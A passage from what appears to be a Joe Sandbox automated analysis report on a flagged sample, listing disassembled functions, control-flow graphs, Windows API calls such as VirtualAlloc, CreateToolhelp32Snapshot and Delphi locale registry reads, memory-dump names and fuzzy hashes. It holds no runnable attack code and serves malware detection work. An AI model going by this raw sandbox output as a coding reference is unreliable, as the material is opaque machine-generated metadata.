                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00469FAC
                                                                                                                        • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00469FB9
                                                                                                                        • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00469FBF
                                                                                                                        • lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00469FEA
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0046A031
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0046A069
                                                                                                                        • lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 0046A09F
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: lstrcpyn$Open$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                        • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                        • API String ID: 1132139435-2375825460
                                                                                                                        • Opcode ID: f2a97b9187938d3b6ed9b10d12e0ce5ac283428adbec3cce45258eac2cebe3e1
                                                                                                                        • Instruction ID: 42cb21402e6d9b01960c871ced9d7fb7574ceb3a16b13b313beeb6f83afe0f5a
                                                                                                                        • Opcode Fuzzy Hash: f2a97b9187938d3b6ed9b10d12e0ce5ac283428adbec3cce45258eac2cebe3e1
                                                                                                                        • Instruction Fuzzy Hash: D4518D71A4421C7EEB25DAA48C46FEF77AC9B04744F4040A7B604F62C1FABC9E448B67
                                                                                                                        Function 0046E048 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 104 46e048-46e055 call 46ddcc 107 46e057-46e061 CreateToolhelp32Snapshot 104->107 108 46e062-46e066 104->108
                                                                                                                        APIs
                                                                                                                        • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,?,?,0046E35F,00000000,0046E3FF,?,?,?,0046E41C), ref: 0046E059
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: CreateSnapshotToolhelp32
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3332741929-0
                                                                                                                        • Opcode ID: 3f410b79ba21e5269ef5fdb7de4f5a6c04ecbcb866be0897937fb8b7a51d59c4
                                                                                                                        • Instruction ID: db7afc0562d15ed816b357ec2bf9232cbe2e46c56e6a8b8bae1ff0483aa9e082
                                                                                                                        • Opcode Fuzzy Hash: 3f410b79ba21e5269ef5fdb7de4f5a6c04ecbcb866be0897937fb8b7a51d59c4
                                                                                                                        • Instruction Fuzzy Hash: F0C080D2702130574F2076FD2C845C3478CCD451B63040473B508D3102E2694C0051D4
                                                                                                                        Function 045EB5B5 Relevance: .6, Instructions: 648COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 156 45eb5b5-45eba15 161 45eba17-45eba1a 156->161 162 45eba1c 161->162 163 45eba56-45eba5b call 45e71f8 161->163 162->163 165 45ebb9e-45ebbaa 162->165 166 45ebb5c-45ebb68 162->166 167 45ebb76-45ebb91 162->167 168 45ebb15-45ebb56 call 45e80f8 162->168 169 45ebbd2-45ebbd7 162->169 170 45ebab3-45ebabf 162->170 171 45ebaf3 162->171 172 45ebad1 162->172 173 45ebbac 162->173 174 45ebb6a-45ebb74 162->174 175 45eba23-45eba50 call 45e7218 call 45e0824 162->175 176 45ebac1-45ebacf 162->176 177 45eba60-45eba75 call 45e7208 163->177 178 45ebbb1-45ebbbf 165->178 166->178 186 45ebb09-45ebb0c 167->186 193 45ebb97-45ebb99 167->193 168->186 211 45ebb58-45ebb5a 168->211 179 45ebad6-45ebaea 170->179 171->186 172->179 173->178 174->186 175->161 207 45eba52-45eba54 175->207 194 45ebaa7-45ebaaa 176->194 201 45eba77 177->201 202 45eba62-45eba92 177->202 190 45ebbc8-45ebbcd 178->190 191 45ebbc1 178->191 179->171 184 45ebaec 179->184 184->165 184->166 184->167 184->168 184->169 184->171 184->172 184->173 184->174 184->176 186->166 195 45ebb0e 186->195 190->169 190->186 191->168 191->169 191->173 191->174 193->186 194->176 198 45ebaac 194->198 195->165 195->166 195->167 195->168 195->169 195->173 195->174 198->165 198->166 198->167 198->168 198->169 198->170 198->171 198->172 198->173 198->174 198->176 201->202 202->171 210 45eba94-45ebaa5 202->210 207->161 210->194 211->186
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 706849fd3469d18e2243ee7419124675822a5dafbaa0c1784b52ddcc0d3d9cec
                                                                                                                        • Instruction ID: 6fc6e62aa26060d7b85a66b78aa6044c162c00a6f599a1dcd5bca5d2f5af5161
                                                                                                                        • Opcode Fuzzy Hash: 706849fd3469d18e2243ee7419124675822a5dafbaa0c1784b52ddcc0d3d9cec
                                                                                                                        • Instruction Fuzzy Hash: FE51D470A08205CFDB08CF6AD0457BA7BA3FB84316F1488A6D1029B295DB75BD45FB52
                                                                                                                        Function 045EAA90 Relevance: .3, Instructions: 343COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 234 45eaa90-45eaaa7 235 45eaaae-45eaab6 234->235 236 45eaaa9-45eaaad 234->236 237 45eaabb-45eaad9 235->237 238 45eaab8 235->238 236->235 240 45eaade-45eaaea 237->240 241 45eaadb 237->241 238->237 242 45eaadc 240->242 244 45eaaec-45eaaed 240->244 241->242 242->240 245 45eaaef 244->245 246 45eaaf2-45eaafb 244->246 245->246 247 45eadf9-45eae0e 246->247 248 45eab01-45eab21 246->248 249 45eab27-45eab37 248->249 250 45eae11-45eae5f 248->250 249->250 252 45eab3d-45eab4f 249->252 277 45eae64-45eae66 250->277 252->250 254 45eab55-45eab64 252->254 254->250 255 45eab6a-45eab86 254->255 256 45eabce-45eabda 255->256 257 45eab88-45eab8c 255->257 256->250 260 45eabe0-45eabf0 256->260 257->256 259 45eab8e-45eab9c 257->259 261 45eac2d-45eac95 259->261 262 45eaba2 259->262 260->250 263 45eabf6-45eac07 260->263 266 45eacaa-45ead19 261->266 267 45eac97-45eaca7 261->267 265 45eaba5-45eaba7 262->265 263->250 268 45eac0d-45eac1d 263->268 269 45eabad-45eabb8 265->269 270 45eaba9 265->270 279 45ead1b-45ead1f 266->279 280 45ead78-45ead8c 266->280 267->266 268->250 271 45eac23-45eac2a 268->271 269->250 273 45eabbe-45eabca 269->273 270->269 271->261 273->265 276 45eabcc 273->276 276->261 279->280 281 45ead21-45ead30 279->281 280->250 282 45ead92-45eadae 280->282 283 45eadea-45eadf3 281->283 284 45ead36-45ead3c 281->284 282->250 285 45eadb0-45eadc8 282->285 283->247 283->248 286 45ead3f-45ead41 284->286 285->250 287 45eadca-45eade4 285->287 288 45ead4b-45ead66 286->288 289 45ead43-45ead47 286->289 287->250 290 45eade6 287->290 288->250 291 45ead6c-45ead74 288->291 289->288 290->283 291->286 292 45ead76 291->292 292->283
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c200d0c44ce492338debe7049126226cdff0886bc7db3fdd1d4855684899819b
                                                                                                                        • Instruction ID: 098a269a669fdb6c06c5aec1aed6eed335f59f9fba5046f1dfc8262cbef706db
                                                                                                                        • Opcode Fuzzy Hash: c200d0c44ce492338debe7049126226cdff0886bc7db3fdd1d4855684899819b
                                                                                                                        • Instruction Fuzzy Hash: B6C18D71E006298BDB18CFA9C9806ADFBF2FF88304F188669D455EB245D734ED46DB90
                                                                                                                        Function 045E215E Relevance: .3, Instructions: 286COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 293 45e215e-45e223d 294 45e2242-45e2245 293->294 295 45e224b 294->295 296 45e2477 294->296 295->296 297 45e22de-45e22f4 295->297 298 45e2419-45e2424 295->298 299 45e2395 295->299 300 45e2252-45e2255 295->300 301 45e22ce-45e22d9 295->301 302 45e240f-45e2414 295->302 303 45e24cf 295->303 304 45e23cf-45e23ec 295->304 305 45e244c-45e2469 295->305 306 45e2405-45e240a 295->306 307 45e23c5-45e23ca 295->307 308 45e24c0 295->308 309 45e2281-45e2299 295->309 310 45e237f-45e2390 295->310 311 45e243d-45e2440 295->311 312 45e23fb-45e2400 295->312 313 45e23bb-45e23c0 295->313 314 45e22f9-45e231c call 45e0220 295->314 315 45e24b9 295->315 316 45e22b7-45e22be call 45e2978 295->316 317 45e2430-45e243b 295->317 318 45e23f1-45e23f6 295->318 319 45e2426-45e242b 295->319 320 45e2262-45e227f 295->320 321 45e2321-45e234c call 45e0230 295->321 322 45e247c-45e2491 296->322 297->294 298->322 332 45e239f-45e23a2 299->332 300->312 329 45e225b-45e2260 300->329 301->322 302->294 323 45e24d4 303->323 304->294 305->294 341 45e246f-45e2472 305->341 324 45e24c5-45e24cd 306->324 307->322 308->324 309->306 342 45e229f-45e22b0 309->342 310->294 311->319 326 45e2442-45e2447 311->326 312->323 313->294 314->294 325 45e24be 315->325 335 45e22c4-45e22c9 316->335 317->322 318->322 319->325 320->294 350 45e2352-45e236d 321->350 327 45e249a-45e24ab 322->327 328 45e2493 322->328 323->322 324->322 325->322 326->294 327->294 334 45e24b1-45e24b4 327->334 328->296 328->300 328->302 328->304 328->305 328->309 328->310 328->311 328->315 328->316 328->320 329->294 344 45e23ab-45e23b6 332->344 334->294 334->315 335->294 341->294 342->294 345 45e22b2-45e22b5 342->345 344->294 345->294 352 45e236f call 45e3c9c 350->352 353 45e236f call 45e3578 350->353 354 45e236f call 45e6125 350->354 355 45e236f call 45e3b82 350->355 356 45e236f call 45e6961 350->356 357 45e236f call 45e3621 350->357 351 45e2375-45e237e 352->351 353->351 354->351 355->351 356->351 357->351
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 820f009de29693fa13554442016d48b7953c0bcbe171d37d8feb448d38f83467
                                                                                                                        • Instruction ID: 0531842c83bcac777ca184f4d0ade42e4da49fb4d22efceb2daa863fe8964b25
                                                                                                                        • Opcode Fuzzy Hash: 820f009de29693fa13554442016d48b7953c0bcbe171d37d8feb448d38f83467
                                                                                                                        • Instruction Fuzzy Hash: 219159767052108FC314CF6ED4807FFBBB6FB84710F0089AAE4869B259D631E8479B51
                                                                                                                        Function 045E2220 Relevance: .2, Instructions: 197COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 417 45e2220-45e223d 418 45e2242-45e2245 417->418 419 45e224b 418->419 420 45e2477 418->420 419->420 421 45e22de-45e22f4 419->421 422 45e2419-45e2424 419->422 423 45e2395-45e23a2 419->423 424 45e2252-45e2255 419->424 425 45e22ce-45e22d9 419->425 426 45e240f-45e2414 419->426 427 45e24cf 419->427 428 45e23cf-45e23ec 419->428 429 45e244c-45e2469 419->429 430 45e2405-45e240a 419->430 431 45e23c5-45e23ca 419->431 432 45e24c0 419->432 433 45e2281-45e2299 419->433 434 45e237f-45e2390 419->434 435 45e243d-45e2440 419->435 436 45e23fb-45e2400 419->436 437 45e23bb-45e23c0 419->437 438 45e22f9-45e231c call 45e0220 419->438 439 45e24b9 419->439 440 45e22b7-45e22be call 45e2978 419->440 441 45e2430-45e243b 419->441 442 45e23f1-45e23f6 419->442 443 45e2426-45e242b 419->443 444 45e2262-45e227f 419->444 445 45e2321-45e236d call 45e0230 419->445 446 45e247c-45e2491 420->446 421->418 422->446 468 45e23ab-45e23b6 423->468 424->436 453 45e225b-45e2260 424->453 425->446 426->418 447 45e24d4 427->447 428->418 429->418 465 45e246f-45e2472 429->465 448 45e24c5-45e24cd 430->448 431->446 432->448 433->430 466 45e229f-45e22b0 433->466 434->418 435->443 450 45e2442-45e2447 435->450 436->447 437->418 438->418 449 45e24be 439->449 459 45e22c4-45e22c9 440->459 441->446 442->446 443->449 444->418 477 45e236f call 45e3c9c 445->477 478 45e236f call 45e3578 445->478 479 45e236f call 45e6125 445->479 480 45e236f call 45e3b82 445->480 481 45e236f call 45e6961 445->481 482 45e236f call 45e3621 445->482 451 45e249a-45e24ab 446->451 452 45e2493 446->452 447->446 448->446 449->446 450->418 451->418 458 45e24b1-45e24b4 451->458 452->420 452->424 452->426 452->428 452->429 452->433 452->434 452->435 452->439 452->440 452->444 453->418 458->418 458->439 459->418 465->418 466->418 469 45e22b2-45e22b5 466->469 468->418 469->418 475 45e2375-45e237e 477->475 478->475 479->475 480->475 481->475 482->475
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 03b7001575ec5cecfb67b30dbc33c7a8a086caac2475b4b542a3b6512e52c5d4
                                                                                                                        • Instruction ID: ac0370e9dbafec1f223e206980ff98276ec8e091edd05cafe641404049a9f837
                                                                                                                        • Opcode Fuzzy Hash: 03b7001575ec5cecfb67b30dbc33c7a8a086caac2475b4b542a3b6512e52c5d4
                                                                                                                        • Instruction Fuzzy Hash: CA619071B041158BD718CFAAC440BBEBBABFB88300F1089A5F446EB39DD635EC45AB55
                                                                                                                        Function 045E2978 Relevance: .2, Instructions: 155COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: dbd0df8544493bfd005ff31c5e0ed15011488eeab6350b8f72e2822e039e96ac
                                                                                                                        • Instruction ID: e49402dc3e32bf5dc9f3aa51ebeb6c755382d3dd83b3393d9b4abf0d52053870
                                                                                                                        • Opcode Fuzzy Hash: dbd0df8544493bfd005ff31c5e0ed15011488eeab6350b8f72e2822e039e96ac
                                                                                                                        • Instruction Fuzzy Hash: FA51BF70F09205CFD708CF5AD4406BAFBBABBC4300F108AAAE145DB259E775AD85EB41
                                                                                                                        Function 045EB9B8 Relevance: .1, Instructions: 140COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fb22e742926c2cc17bd801a0dee5e2e6379d3918ddeb0620b2aa313bafc48e18
                                                                                                                        • Instruction ID: 89533ea7936d2f9720364373f98d763ab79f9b90fc1ea33508488feb150a5d8e
                                                                                                                        • Opcode Fuzzy Hash: fb22e742926c2cc17bd801a0dee5e2e6379d3918ddeb0620b2aa313bafc48e18
                                                                                                                        • Instruction Fuzzy Hash: 4F51B270A08205CBDB08CF6AD4447BA77A3FB88316F148865D1029B294EB75BD85FB52
                                                                                                                        Function 045EB392 Relevance: .1, Instructions: 128COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3dc190440e33d6e627ee8afbe6fda7b8857fd01f1a1da6cd2793755b09cf0a55
                                                                                                                        • Instruction ID: c154257422d7d9358cbd0d118b1b37a52e8ec697d07c787d0e66dd73e7e4f14b
                                                                                                                        • Opcode Fuzzy Hash: 3dc190440e33d6e627ee8afbe6fda7b8857fd01f1a1da6cd2793755b09cf0a55
                                                                                                                        • Instruction Fuzzy Hash: 2F41F330B04211CBE71CDF26D4957BE7BE3BBC8316F188869D1029B291DB757845EB52
                                                                                                                        Function 00467350 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 89 467350-46735d 90 467366-46736c 89->90 91 46735f-467364 89->91 92 467372-46738a VirtualAlloc 90->92 91->92 93 4673af-4673b2 92->93 94 46738c-46739a call 467204 92->94 94->93 97 46739c-4673ad VirtualFree 94->97 97->93
                                                                                                                        APIs
                                                                                                                        • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00467659), ref: 0046737F
                                                                                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00467659), ref: 004673A6
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: Virtual$AllocFree
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 2087232378-0
                                                                                                                        • Opcode ID: acf9189959b3aa2baac2fcd3ade760959c717e9f011212e4c5efc066fb5daf46
                                                                                                                        • Instruction ID: 52e50db80e02f30d05faa333333f01cdda0c1f667acb654357656c15bb0fe1f3
                                                                                                                        • Opcode Fuzzy Hash: acf9189959b3aa2baac2fcd3ade760959c717e9f011212e4c5efc066fb5daf46
                                                                                                                        • Instruction Fuzzy Hash: 38F02E72B042206BD7205A6A4C81B4765C49F46798F144077FD0CEF3C9F6698C40976A
                                                                                                                        Function 00469C54 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 98 469c54-469c62 99 469c64-469c7b GetModuleFileNameA call 469e90 98->99 100 469c8f-469c9a 98->100 102 469c80-469c87 99->102 102->100 103 469c89-469c8c 102->103 103->100
                                                                                                                        APIs
                                                                                                                        • GetModuleFileNameA.KERNEL32(00466000,?,00000105), ref: 00469C72
                                                                                                                          • Part of subcall function 00469E90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,0046F090), ref: 00469EAC
                                                                                                                          • Part of subcall function 00469E90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,0046F090), ref: 00469ECA
                                                                                                                          • Part of subcall function 00469E90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,0046F090), ref: 00469EE8
